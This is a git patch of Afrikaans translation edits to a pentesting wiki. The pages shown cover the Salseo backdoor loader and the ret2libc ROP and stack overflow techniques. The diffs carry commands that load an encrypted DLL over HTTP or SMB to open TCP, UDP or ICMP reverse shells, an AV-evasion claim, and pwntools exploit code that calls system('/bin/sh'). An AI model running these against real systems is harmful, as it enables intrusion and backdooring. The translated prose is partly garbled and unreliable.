From 39724ff6138ab47174eaabc34f30dc0822727c4b Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 7 Apr 2025 02:23:17 +0000 Subject: [PATCH] Translated ['src/backdoors/salseo.md', 'src/binary-exploitation/rop-retu --- src/SUMMARY.md | 5 +- src/backdoors/salseo.md | 36 +- .../rop-leaking-libc-address/README.md | 34 +- .../stack-overflow/README.md | 18 +- src/crypto-and-stego/crypto-ctfs-tricks.md | 12 +- src/cryptography/crypto-ctfs-tricks.md | 12 +- .../anti-forensic-techniques.md | 22 +- src/generic-hacking/exfiltration.md | 16 +- .../tunneling-and-port-forwarding.md | 30 +- ...-ns-mdns-dns-and-wpad-and-relay-attacks.md | 22 +- ...-docker-socket-for-privilege-escalation.md | 10 +- .../docker-security/weaponizing-distroless.md | 4 +- .../interesting-groups-linux-pe/README.md | 20 +- .../linux-active-directory.md | 14 +- .../arm64-basic-assembly.md | 170 +++---- .../macos-electron-applications-injection.md | 245 ++++++++++- .../macos-mig-mach-interface-generator.md | 26 +- .../macos-tcc/README.md | 78 ++-- .../android-app-pentesting/README.md | 220 +++++----- .../drozer-tutorial/README.md | 34 +- .../5984-pentesting-couchdb.md | 50 +-- .../5985-5986-pentesting-winrm.md | 32 +- .../8089-splunkd.md | 26 +- .../pentesting-ftp/ftp-bounce-attack.md | 8 +- .../README.md | 44 +- .../pentesting-rdp.md | 22 +- .../pentesting-smb.md | 76 ++-- .../pentesting-smb/README.md | 98 ++--- .../pentesting-snmp/README.md | 52 +-- .../pentesting-voip/README.md | 110 ++--- .../pentesting-web/403-and-401-bypasses.md | 18 +- ...n-contextisolation-rce-via-preload-code.md | 20 +- .../pentesting-web/imagemagick-security.md | 16 +- .../pentesting-web/moodle.md | 10 +- .../pentesting-web/php-tricks-esp/README.md | 60 +-- .../README.md | 62 +-- .../pentesting-web/put-method-webdav.md | 18 +- .../pentesting-web/special-http-headers.md | 24 +- .../pentesting-web/spring-actuators.md | 40 +- ...er-gadgets-expandedwrapper-and-json.net.md | 16 +- .../lfi2rce-via-eternal-waiting.md | 34 +- src/pentesting-web/file-upload/README.md | 108 ++--- ...ula-csv-doc-latex-ghostscript-injection.md | 20 +- src/pentesting-web/rate-limit-bypass.md | 32 +- .../registration-vulnerabilities.md | 50 +-- ...and-ntlm-chanllenge-response-disclosure.md | 8 +- .../cloud-ssrf.md | 75 ++-- .../unicode-normalization.md | 12 +- src/pentesting-web/xs-search.md | 386 ++++++++-------- src/pentesting-web/xs-search/README.md | 414 +++++++++--------- .../xss-cross-site-scripting/README.md | 98 ++--- .../xxe-xee-xml-external-entity.md | 86 ++-- .../rop-leaking-libc-address/README.md | 42 +- .../reversing-tools-basic-methods/README.md | 68 +-- .../cheat-engine.md | 28 +- .../active-directory-methodology/README.md | 266 ++++++----- .../abusing-ad-mssql.md | 52 ++- .../acl-persistence-abuse/README.md | 66 +-- .../ad-certificates.md | 50 +-- .../ad-certificates/README.md | 48 +- .../ad-certificates/certificate-theft.md | 46 +- .../ad-certificates/domain-escalation.md | 139 +++--- .../constrained-delegation.md | 31 +- .../custom-ssp.md | 10 +- .../active-directory-methodology/dcsync.md | 24 +- ...external-forest-domain-one-way-outbound.md | 22 +- .../external-forest-domain-oneway-inbound.md | 20 +- .../golden-ticket.md | 12 +- .../kerberoast.md | 138 +++--- .../kerberos-double-hop-problem.md | 44 +- .../active-directory-methodology/laps.md | 28 +- .../over-pass-the-hash-pass-the-key.md | 16 +- .../password-spraying.md | 14 +- .../printers-spooler-service-abuse.md | 28 +- .../privileged-groups-and-token-privileges.md | 84 ++-- .../rdp-sessions-abuse.md | 12 +- .../resource-based-constrained-delegation.md | 37 +- .../sid-history-injection.md | 53 ++- .../silver-ticket.md | 51 ++- .../unconstrained-delegation.md | 49 ++- .../authentication-credentials-uac-and-efs.md | 76 ++-- .../README.md | 64 +-- src/windows-hardening/av-bypass.md | 135 ++++-- .../basic-cmd-for-pentesters.md | 12 +- .../basic-powershell-for-pentesters/README.md | 104 ++--- .../powerview.md | 36 +- src/windows-hardening/cobalt-strike.md | 241 +++++++--- .../lateral-movement/README.md | 2 + .../lateral-movement/atexec.md | 8 + .../{dcom-exec.md => dcomexec.md} | 37 +- .../lateral-movement/psexec-and-winexec.md | 22 +- .../lateral-movement/rdpexec.md | 15 + .../lateral-movement/scmexec.md | 15 + .../lateral-movement/smbexec.md | 38 -- .../lateral-movement/wmiexec.md | 40 +- src/windows-hardening/mythic.md | 164 +++++++ src/windows-hardening/ntlm/README.md | 72 +-- src/windows-hardening/ntlm/atexec.md | 27 -- .../ntlm/places-to-steal-ntlm-creds.md | 4 +- .../ntlm/psexec-and-winexec.md | 38 -- src/windows-hardening/ntlm/smbexec.md | 36 -- src/windows-hardening/ntlm/winrm.md | 7 - src/windows-hardening/ntlm/wmiexec.md | 110 ----- .../stealing-credentials/README.md | 56 +-- .../credentials-protections.md | 89 ++-- .../stealing-credentials/wts-impersonator.md | 22 +- .../README.md | 257 +++++------ .../com-hijacking.md | 12 +- ...ritable-sys-path-+dll-hijacking-privesc.md | 26 +- .../dpapi-extracting-passwords.md | 268 +++++++++--- .../leaked-handle-exploitation.md | 54 +-- .../privilege-escalation-abusing-tokens.md | 44 +- .../README.md | 66 +-- .../roguepotato-and-printspoofer.md | 4 +- 114 files changed, 3815 insertions(+), 3017 deletions(-) rename src/windows-hardening/lateral-movement/{dcom-exec.md => dcomexec.md} (77%) create mode 100644 src/windows-hardening/lateral-movement/rdpexec.md create mode 100644 src/windows-hardening/lateral-movement/scmexec.md delete mode 100644 src/windows-hardening/lateral-movement/smbexec.md create mode 100644 src/windows-hardening/mythic.md delete mode 100644 src/windows-hardening/ntlm/atexec.md delete mode 100644 src/windows-hardening/ntlm/psexec-and-winexec.md delete mode 100644 src/windows-hardening/ntlm/smbexec.md delete mode 100644 src/windows-hardening/ntlm/winrm.md delete mode 100644 src/windows-hardening/ntlm/wmiexec.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 53398bb51..cac3fa3dc 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -284,8 +284,10 @@ - [Places to steal NTLM creds](windows-hardening/ntlm/places-to-steal-ntlm-creds.md) - [Lateral Movement](windows-hardening/lateral-movement/README.md) - [AtExec / SchtasksExec](windows-hardening/lateral-movement/atexec.md) - - [DCOM Exec](windows-hardening/lateral-movement/dcom-exec.md) + - [DCOM Exec](windows-hardening/lateral-movement/dcomexec.md) - [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md) + - [RDPexec](windows-hardening/lateral-movement/rdpexec.md) + - [SCMexec](windows-hardening/lateral-movement/scmexec.md) - [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md) - [WinRM](windows-hardening/lateral-movement/winrm.md) - [WmiExec](windows-hardening/lateral-movement/wmiexec.md) @@ -299,6 +301,7 @@ - [PowerView/SharpView](windows-hardening/basic-powershell-for-pentesters/powerview.md) - [Antivirus (AV) Bypass](windows-hardening/av-bypass.md) - [Cobalt Strike](windows-hardening/cobalt-strike.md) +- [Mythic](windows-hardening/mythic.md) # đŸ“± Mobile Pentesting diff --git a/src/backdoors/salseo.md b/src/backdoors/salseo.md index 1b2e60c60..8351c42f4 100644 --- a/src/backdoors/salseo.md +++ b/src/backdoors/salseo.md @@ -2,15 +2,15 @@ {{#include ../banners/hacktricks-training.md}} -## Samevoeg van die binĂȘre +## Compiling the binaries -Laai die bronkode van die github af en saam te stel **EvilSalsa** en **SalseoLoader**. Jy sal **Visual Studio** geĂŻnstalleer moet hĂȘ om die kode saam te stel. +Laai die bronkode van die github af en kompileer **EvilSalsa** en **SalseoLoader**. Jy sal **Visual Studio** geĂŻnstalleer moet hĂȘ om die kode te kompileer. -Stel daardie projekte saam vir die argitektuur van die Windows-boks waar jy dit gaan gebruik (As die Windows x64 ondersteun, stel dit saam vir daardie argitektuur). +Kompileer daardie projekte vir die argitektuur van die Windows-boks waar jy dit gaan gebruik (As die Windows x64 ondersteun, kompileer dit vir daardie argitektuur). Jy kan **die argitektuur kies** binne Visual Studio in die **linker "Build" Tab** in **"Platform Target".** -(\*\*As jy nie hierdie opsies kan vind nie, druk op **"Project Tab"** en dan op **"\ Properties"**) +(**As jy nie hierdie opsies kan vind nie, druk op **"Project Tab"** en dan op **"\ Properties"**) ![](<../images/image (132).png>) @@ -18,9 +18,9 @@ Dan, bou albei projekte (Build -> Build Solution) (Binne die logs sal die pad va ![](<../images/image (1) (2) (1) (1) (1).png>) -## Berei die Backdoor voor +## Prepare the Backdoor -Eerstens, jy sal die **EvilSalsa.dll.** moet kodeer. Om dit te doen, kan jy die python-skrip **encrypterassembly.py** gebruik of jy kan die projek **EncrypterAssembly** saamstel: +Eerstens, jy sal die **EvilSalsa.dll.** moet kodeer. Om dit te doen, kan jy die python-skrip **encrypterassembly.py** gebruik of jy kan die projek **EncrypterAssembly** kompileer: ### **Python** ``` @@ -32,7 +32,7 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa. EncrypterAssembly.exe EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt ``` -Ok, nou het jy alles wat jy nodig het om al die Salseo goed te voer: die **gecodeerde EvilDalsa.dll** en die **binarie van SalseoLoader.** +Ok, nou het jy alles wat jy nodig het om al die Salseo goed te uitvoer: die **gecodeerde EvilDalsa.dll** en die **binarie van SalseoLoader.** **Laai die SalseoLoader.exe binarie op die masjien. Hulle behoort nie deur enige AV opgespoor te word nie...** @@ -40,17 +40,17 @@ Ok, nou het jy alles wat jy nodig het om al die Salseo goed te voer: die **gecod ### **Kry 'n TCP reverse shell (aflaai van die gecodeerde dll deur HTTP)** -Onthou om 'n nc te begin as die reverse shell luisteraar en 'n HTTP bediener om die gecodeerde evilsalsa te bedien. +Onthou om 'n nc as die reverse shell luisteraar en 'n HTTP bediener te begin om die gecodeerde evilsalsa te bedien. ``` SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp ``` -### **Om 'n UDP omgekeerde skulp te kry (gedownloade kodering dll deur SMB)** +### **Om 'n UDP omgekeerde skulp te kry (aflaai van kodering dll deur SMB)** -Onthou om 'n nc as die omgekeerde skulp luisteraar te begin, en 'n SMB-bediener om die gekodeerde evilsalsa (impacket-smbserver) te bedien. +Onthou om 'n nc as die omgekeerde skulp luisteraar te begin, en 'n SMB-bediener om die gekodeerde evilsalsa te bedien (impacket-smbserver). ``` SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp ``` -### **Kry 'n ICMP omgekeerde skulp (geĂ«nkodeerde dll reeds binne die slagoffer)** +### **Kry 'n ICMP omgekeerde skulp (gecodeerde dll reeds binne die slagoffer)** **Hierdie keer het jy 'n spesiale hulpmiddel in die kliĂ«nt nodig om die omgekeerde skulp te ontvang. Laai af:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) @@ -65,13 +65,13 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=0 ``` python icmpsh_m.py "" "" ``` -#### Binne die slagoffer, kom ons voer die salseo ding uit: +#### Binne die slagoffer, laat ons die salseo ding uitvoer: ``` SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ``` -## Samevoeging van SalseoLoader as DLL wat hooffunksie uitvoer +## Samevoeging van SalseoLoader as DLL wat die hooffunksie uitvoer -Maak die SalseoLoader-projek oop met Visual Studio. +Open die SalseoLoader-projek met Visual Studio. ### Voeg voor die hooffunksie by: \[DllExport] @@ -83,7 +83,7 @@ Maak die SalseoLoader-projek oop met Visual Studio. ![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -#### **Soek vir DllExport-pakket (met die Blader-oortjie), en druk Installeer (en aanvaar die pop-up)** +#### **Soek vir DllExport-pakket (met die Blader-tab), en druk Installeer (en aanvaar die pop-up)** ![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) @@ -97,7 +97,7 @@ Druk **Uninstall** (ja, dit is vreemd, maar glo my, dit is nodig) ### **Verlaat Visual Studio en voer DllExport_configure uit** -Net **verlaat** Visual Studio +Verlaat net **Visual Studio** Gaan dan na jou **SalseoLoader-gids** en **voer DllExport_Configure.bat** uit @@ -105,7 +105,7 @@ Kies **x64** (as jy dit binne 'n x64-boks gaan gebruik, dit was my geval), kies ![](<../images/image (7) (1) (1) (1) (1).png>) -### **Maak die projek weer oop met Visual Studio** +### **Open die projek weer met Visual Studio** **\[DllExport]** moet nie langer as 'n fout gemerk wees nie @@ -113,7 +113,7 @@ Kies **x64** (as jy dit binne 'n x64-boks gaan gebruik, dit was my geval), kies ### Bou die oplossing -Kies **Uitsettipe = Klasbiblioteek** (Projek --> SalseoLoader Eienskappe --> Aansoek --> Uitsettipe = Klasbiblioteek) +Kies **Uitsettipe = Klasbiblioteek** (Projek --> SalseoLoader Eienskappe --> Toepassing --> Uitsettipe = Klasbiblioteek) ![](<../images/image (10) (1).png>) diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md index e9fff2cce..ff72296e3 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md @@ -6,12 +6,12 @@ 1. **Vind** oorgang **offset** 2. **Vind** `POP_RDI` gadget, `PUTS_PLT` en `MAIN` gadgets -3. Gebruik vorige gadgets om die **geheue adres** van puts of 'n ander libc funksie te **lek** en **vind die libc weergawe** ([donwload it](https://libc.blukat.me)) +3. Gebruik vorige gadgets om **die geheue adres** van puts of 'n ander libc funksie te **lek** en **vind die libc weergawe** ([donwload it](https://libc.blukat.me)) 4. Met die biblioteek, **bereken die ROP en benut dit** ## Ander tutorials en binaries om te oefen -Hierdie tutorial gaan die kode/binary wat in hierdie tutorial voorgestel word, benut: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ +Hierdie tutorial gaan die kode/binary wat in hierdie tutorial voorgestel is, benut: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ Ander nuttige tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) ## Kode @@ -64,14 +64,14 @@ cyclic_find(0x6161616b) ``` ![](<../../../../images/image (1007).png>) -Na die vind van die offset (in hierdie geval 40) verander die OFFSET veranderlike binne die sjabloon met daardie waarde.\ +Nadat die offset gevind is (in hierdie geval 40), verander die OFFSET veranderlike binne die sjabloon met daardie waarde.\ `OFFSET = "A" * 40` -'n Ander manier sou wees om te gebruik: `pattern create 1000` -- _voer uit tot ret_ -- `pattern seach $rsp` van GEF. +'n Ander manier sou wees om te gebruik: `pattern create 1000` -- _voer uit totdat ret_ -- `pattern seach $rsp` van GEF. ## 2- Vind Gadgets -Nou moet ons ROP gadgets binne die binĂȘre vind. Hierdie ROP gadgets sal nuttig wees om `puts` aan te roep om die **libc** wat gebruik word te vind, en later om die **finale exploit** te **lanseer**. +Nou moet ons ROP gadgets binne die binĂȘre vind. Hierdie ROP gadgets sal nuttig wees om `puts` aan te roep om die **libc** wat gebruik word, te vind, en later om die **finale exploit** te **lanseer**. ```python PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts MAIN_PLT = elf.symbols['main'] @@ -124,7 +124,7 @@ Om dit te doen, is die belangrikste lyn van die uitgevoerde kode: rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` Dit sal 'n paar bytes stuur totdat **oorskrywing** van die **RIP** moontlik is: `OFFSET`.\ -Dan sal dit die **adres** van die gadget `POP_RDI` stel sodat die volgende adres (`FUNC_GOT`) in die **RDI** register gestoor sal word. Dit is omdat ons **wil oproep puts** **terwyl** ons die **adres** van die `PUTS_GOT` as die adres in geheue van die puts-funksie gestoor is in die adres wat deur `PUTS_GOT` gewys word.\ +Dan sal dit die **adres** van die gadget `POP_RDI` stel sodat die volgende adres (`FUNC_GOT`) in die **RDI** register gestoor sal word. Dit is omdat ons wil **roep puts** **deur** dit die **adres** van die `PUTS_GOT` te gee, aangesien die adres in geheue van die puts-funksie gestoor is in die adres wat deur `PUTS_GOT` gewys word.\ Daarna sal `PUTS_PLT` aangeroep word (met `PUTS_GOT` binne die **RDI**) sodat puts die **inhoud** binne `PUTS_GOT` (**die adres van die puts-funksie in geheue**) sal **lees** en dit sal **uitdruk**.\ Laastens, **word die hoof funksie weer aangeroep** sodat ons die oorskrywing weer kan benut. @@ -132,8 +132,8 @@ Op hierdie manier het ons die **puts-funksie bedrieg** om die **adres** in **geh ![](<../../../../images/image (1049).png>) -Aangesien ons 'n paar **lokale** binĂȘre **benut**, is dit **nie nodig** om uit te vind watter weergawe van **libc** gebruik word (vind net die biblioteek in `/lib/x86_64-linux-gnu/libc.so.6`).\ -Maar, in 'n afstandsbenutting geval sal ek hier verduidelik hoe jy dit kan vind: +Aangesien ons 'n paar **lokale** binĂȘre **benut**, is dit **nie nodig** om uit te vind watter weergawe van **libc** gebruik word nie (vind net die biblioteek in `/lib/x86_64-linux-gnu/libc.so.6`).\ +Maar, in 'n afstandsaanval geval sal ek hier verduidelik hoe jy dit kan vind: ### 3.1- Soek na libc weergawe (1) @@ -171,9 +171,9 @@ Getting libc6_2.23-0ubuntu10_amd64 -> Extracting package -> Package saved to libs/libc6_2.23-0ubuntu10_amd64 ``` -Kopieer die libc van `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` na ons werksgids. +Kopieer die libc van `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` na ons werksgebied. -### 3.3- Ander funksies om te lek +### 3.3- Ander funksies om te leak ```python puts printf @@ -198,7 +198,7 @@ log.info("libc base @ %s" % hex(libc.address)) > [!NOTE] > Let daarop dat die **finale libc basisadres moet eindig op 00**. As dit nie jou geval is nie, mag jy 'n verkeerde biblioteek gelekt het. -Dan gaan die adres na die funksie `system` en die **adres** na die string _"/bin/sh"_ bereken word vanaf die **basisadres** van **libc** en gegee word aan die **libc biblioteek.** +Dan gaan die adres na die funksie `system` en die **adres** na die string _"/bin/sh"_ bereken word vanaf die **basisadres** van **libc** en gegee word die **libc biblioteek.** ```python BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh SYSTEM = libc.sym["system"] @@ -218,17 +218,17 @@ p.sendline(rop2) p.interactive() #Interact with the conenction ``` Laat ons hierdie finale ROP verduidelik.\ -Die laaste ROP (`rop1`) het weer die hooffunksie aangeroep, dan kan ons **weer** die **oortolligheid** benut (dit is hoekom die `OFFSET` hier weer is). Dan wil ons `POP_RDI` aanroep wat na die **adres** van _"/bin/sh"_ (`BINSH`) wys en die **system** funksie (`SYSTEM`) aanroep omdat die adres van _"/bin/sh"_ as 'n parameter oorgedra sal word.\ +Die laaste ROP (`rop1`) het weer die hooffunksie aangeroep, dan kan ons **weer** die **oortolligheid** **ontgin** (dit is hoekom die `OFFSET` hier weer is). Dan wil ons `POP_RDI` aanroep wat na die **adres** van _"/bin/sh"_ (`BINSH`) wys en die **system** funksie (`SYSTEM`) aanroep omdat die adres van _"/bin/sh"_ as 'n parameter deurgegee sal word.\ Laastens, die **adres van die uitgang funksie** word **aangeroep** sodat die proses **netjies bestaan** en enige waarskuwing gegenereer word. -**So sal die exploit 'n \_/bin/sh**\_\*\* shell uitvoer.\*\* +**So sal die ontginning 'n _/bin/sh_ shell uitvoer.** ![](<../../../../images/image (165).png>) -## 4(2)- Gebruik ONE_GADGET +## 4(2)- Gebruik van ONE_GADGET Jy kan ook [**ONE_GADGET** ](https://github.com/david942j/one_gadget) gebruik om 'n shell te verkry in plaas van om **system** en **"/bin/sh"** te gebruik. **ONE_GADGET** sal binne die libc biblioteek 'n manier vind om 'n shell te verkry met net een **ROP adres**.\ -E however, normaalweg is daar 'n paar beperkings, die mees algemene en maklik om te vermy is soos `[rsp+0x30] == NULL` Aangesien jy die waardes binne die **RSP** beheer, hoef jy net 'n paar meer NULL waardes te stuur sodat die beperking vermy word. +E however, normaalweg is daar 'n paar beperkings, die mees algemene en maklik om te vermy is soos `[rsp+0x30] == NULL` Aangesien jy die waardes binne die **RSP** beheer, moet jy net 'n paar meer NULL waardes stuur sodat die beperking vermy word. ![](<../../../../images/image (754).png>) ```python @@ -253,7 +253,7 @@ objdump -d vuln_binary | grep "\.text" Disassembly of section .text: 0000000000401080 <.text>: ``` -en stel die adres handmatig: +en stel die adres handmatig in: ```python MAIN_PLT = 0x401080 ``` @@ -263,7 +263,7 @@ As die binĂȘre nie Puts gebruik nie, moet jy kyk of dit gebruik ### `sh: 1: %s%s%s%s%s%s%s%s: nie gevind nie` -As jy hierdie **fout** vind na die skep van **alle** die exploit: `sh: 1: %s%s%s%s%s%s%s%s: nie gevind nie` +As jy hierdie **fout** vind nadat jy **alle** die eksploit geskep het: `sh: 1: %s%s%s%s%s%s%s%s: nie gevind nie` Probeer om **64 bytes van die adres van "/bin/sh" af te trek**: ```python diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index a90e24829..73b9a5b2d 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -4,11 +4,11 @@ ## Wat is 'n Stack Overflow -'n **stack overflow** is 'n kwesbaarheid wat voorkom wanneer 'n program meer data na die stap skryf as wat dit toegeken is om te hou. Hierdie oortollige data sal **aangrensende geheue ruimte oorskryf**, wat lei tot die korrupsie van geldige data, onderbreking van die beheerstroom, en moontlik die uitvoering van kwaadwillige kode. Hierdie probleem ontstaan dikwels as gevolg van die gebruik van onveilige funksies wat nie grensekontrole op invoer uitvoer nie. +'n **stack overflow** is 'n kwesbaarheid wat voorkom wanneer 'n program meer data na die stapel skryf as wat dit toegeken is om te hou. Hierdie oortollige data sal **aangrensende geheue ruimte oorskryf**, wat lei tot die korrupsie van geldige data, onderbreking van die beheerstroom, en moontlik die uitvoering van kwaadwillige kode. Hierdie probleem ontstaan dikwels as gevolg van die gebruik van onveilige funksies wat nie grensekontrole op invoer uitvoer nie. -Die hoofprobleem van hierdie oorskrywing is dat die **gestoor instruksie-aanwyser (EIP/RIP)** en die **gestoor basisaanwyser (EBP/RBP)** om na die vorige funksie terug te keer, **op die stap gestoor word**. Daarom sal 'n aanvaller in staat wees om dit te oorskryf en **die uitvoeringsvloei van die program te beheer**. +Die hoofprobleem van hierdie oorskrywing is dat die **gestoor instruksie-aanwyser (EIP/RIP)** en die **gestoor basisaanwyser (EBP/RBP)** om na die vorige funksie terug te keer, **op die stapel gestoor word**. Daarom sal 'n aanvaller in staat wees om dit te oorskry en **die uitvoeringsvloei van die program te beheer**. -Die kwesbaarheid ontstaan gewoonlik omdat 'n funksie **meer bytes binne die stap kopieer as die hoeveelheid wat daarvoor toegeken is**, en kan dus ander dele van die stap oorskryf. +Die kwesbaarheid ontstaan gewoonlik omdat 'n funksie **meer bytes binne die stapel kopieer as die hoeveelheid wat daarvoor toegeken is**, en dus in staat is om ander dele van die stapel te oorskry. Sommige algemene funksies wat kwesbaar is hiervoor, is: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ook, funksies soos **`fgets`**, **`read` & `memcpy`** wat 'n **lengte argument** neem, kan op 'n kwesbare manier gebruik word as die gespesifiseerde lengte groter is as die toegeken. @@ -21,13 +21,13 @@ gets(buffer); // This is where the vulnerability lies printf("You entered: %s\n", buffer); } ``` -### Vind van Stap Oorloop verskuiwings +### Vind van Stack Overflows offsets -Die mees algemene manier om stap oorloop te vind, is om 'n baie groot invoer van `A`s te gee (bv. `python3 -c 'print("A"*1000)'`) en 'n `Segmentation Fault` te verwag wat aandui dat die **adres `0x41414141` probeer is om toegang te verkry**. +Die mees algemene manier om stack overflows te vind, is om 'n baie groot invoer van `A`s te gee (bv. `python3 -c 'print("A"*1000)'`) en 'n `Segmentation Fault` te verwag wat aandui dat die **adres `0x41414141` probeer is om toegang te verkry**. -Boonop, sodra jy gevind het dat daar 'n Stap Oorloop kwesbaarheid is, sal jy die verskuiwing moet vind totdat dit moontlik is om die **terugadres te oorskry**, hiervoor word gewoonlik 'n **De Bruijn-sekwensie** gebruik. Wat vir 'n gegewe alfabet van grootte _k_ en subreekse van lengte _n_ 'n **sikliese sekwensie is waarin elke moontlike subreeks van lengte \_n**\_\*\* presies een keer** as 'n aaneengeskakelde subreeks verskyn. +Boonop, sodra jy gevind het dat daar 'n Stack Overflow kwesbaarheid is, sal jy die offset moet vind totdat dit moontlik is om die **terugadres te oorskryf**, hiervoor word gewoonlik 'n **De Bruijn-sekwensie** gebruik. Wat vir 'n gegewe alfabet van grootte _k_ en subreekse van lengte _n_ 'n **cykliese sekwensie is waarin elke moontlike subreeks van lengte _n_ presies een keer verskyn** as 'n aaneengeskakelde subreeks. -Op hierdie manier, in plaas daarvan om handmatig uit te vind watter verskuiwing nodig is om die EIP te beheer, is dit moontlik om een van hierdie sekwensies as opvulling te gebruik en dan die verskuiwing van die bytes wat dit oorgeskryf het, te vind. +Op hierdie manier, in plaas daarvan om handmatig uit te vind watter offset nodig is om die EIP te beheer, is dit moontlik om een van hierdie sekwensies as opvulling te gebruik en dan die offset van die bytes te vind wat dit oorgeskryf het. Dit is moontlik om **pwntools** hiervoor te gebruik: ```python @@ -51,9 +51,9 @@ pattern search $rsp #Search the offset given the content of $rsp ## Exploiting Stack Overflows Tydens 'n oorgang (as die oorganggrootte groot genoeg is) sal jy in staat wees om **oor te skryf** waardes van plaaslike veranderlikes binne die stapel totdat jy die **EBP/RBP en EIP/RIP (of selfs meer)** bereik.\ -Die mees algemene manier om hierdie tipe kwesbaarheid te misbruik, is deur die **terugadres te wysig** sodat wanneer die funksie eindig, die **beheer vloei na waar die gebruiker gespesifiseer het** in hierdie pointer. +Die mees algemene manier om hierdie tipe kwesbaarheid te misbruik, is deur die **terugadres te wysig** sodat wanneer die funksie eindig, die **kontrole vloei na waar die gebruiker gespesifiseer het** in hierdie pointer. - egter, in ander scenario's mag dit net **om te skryf van sommige veranderlikes waardes in die stapel** genoeg wees vir die uitbuiting (soos in maklike CTF-uitdagings). +E however, in ander scenario's mag dit net **om te skryf van sommige veranderlikes waardes in die stapel** genoeg wees vir die uitbuiting (soos in maklike CTF-uitdagings). ### Ret2win diff --git a/src/crypto-and-stego/crypto-ctfs-tricks.md b/src/crypto-and-stego/crypto-ctfs-tricks.md index 9da305b47..9d257c55f 100644 --- a/src/crypto-and-stego/crypto-ctfs-tricks.md +++ b/src/crypto-and-stego/crypto-ctfs-tricks.md @@ -120,8 +120,6 @@ Kontroleer al hierdie basisse met: [https://github.com/dhondta/python-codext](ht ``` ╫☐↑Λ↻Λ┏Λ↻☐↑Λ ``` -- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dood: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - ### Morse ``` .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- @@ -192,9 +190,9 @@ krodfdudfrod **Multitap** [vervang 'n letter](https://www.dcode.fr/word-letter-change) deur herhaalde syfers gedefinieer deur die ooreenstemmende sleutelkode op 'n mobiele [foon sleutelbord](https://www.dcode.fr/phone-keypad-cipher) (Hierdie modus word gebruik wanneer SMS geskryf word).\ Byvoorbeeld: 2=A, 22=B, 222=C, 3=D...\ -Jy kan hierdie kode identifiseer omdat jy\*\* verskeie syfers herhaal\*\* sal sien. +Jy kan hierdie kode identifiseer omdat jy **verskeie syfers herhaal** sal sien. -Jy kan hierdie kode dekodeer in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) +Jy kan hierdie kode ontcijfer in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) ### Bacon Kode @@ -209,7 +207,7 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ## Kompressie -**Raw Deflate** en **Raw Inflate** (jy kan albei in Cyberchef vind) kan data saamgepers en ontspan sonder koptekste. +**Raw Deflate** en **Raw Inflate** (jy kan albei in Cyberchef vind) kan data saamgepers en ontgonne sonder koptekste. ## Maklike Crypto @@ -249,7 +247,7 @@ Key: ### Samir Geheime Deel -'n Geheim word in X dele verdeel en om dit te herstel, het jy Y dele nodig (_Y <=X_). +'n Geheim word in X dele gesplit en om dit te herstel, het jy Y dele nodig (_Y <=X_). ``` 8019f8fa5879aa3e07858d08308dc1a8b45 80223035713295bddf0b0bd1b10a5340b89 @@ -262,7 +260,7 @@ Key: - [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) - [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) -## Gereedskap +## Tools - [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) - [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) diff --git a/src/cryptography/crypto-ctfs-tricks.md b/src/cryptography/crypto-ctfs-tricks.md index 110b31e40..a533f31aa 100644 --- a/src/cryptography/crypto-ctfs-tricks.md +++ 